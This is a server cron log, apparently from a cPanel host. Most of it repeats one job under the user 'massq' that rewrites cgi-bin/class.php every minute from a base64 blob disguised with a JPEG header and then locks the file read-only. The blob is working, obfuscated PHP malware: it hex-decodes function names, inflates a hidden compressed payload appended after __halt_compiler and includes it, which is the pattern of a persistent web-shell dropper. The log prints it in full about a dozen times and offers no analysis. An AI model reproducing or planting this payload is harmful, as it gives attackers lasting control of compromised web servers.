Nov 13 12:34:01 server CROND[10701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:35:01 server CROND[11602]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 12:35:01 server CROND[11603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:35:01 server CROND[11610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:35:01 server CROND[11609]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 12:35:01 server CROND[11612]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:36:01 server CROND[12528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:37:01 server CROND[13180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:38:01 server CROND[13614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:39:01 server CROND[14465]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:39:01 server CROND[14466]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 12:40:01 server CROND[15333]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:40:01 server CROND[15331]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:40:01 server CROND[15334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:40:01 server CROND[15332]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 12:41:01 server CROND[16244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:42:01 server CROND[17113]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 12:42:01 server CROND[17114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:43:01 server CROND[17991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:44:01 server CROND[18941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:45:02 server CROND[19612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 12:45:02 server CROND[19613]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 12:45:02 server CROND[19614]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 12:46:01 server CROND[20365]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
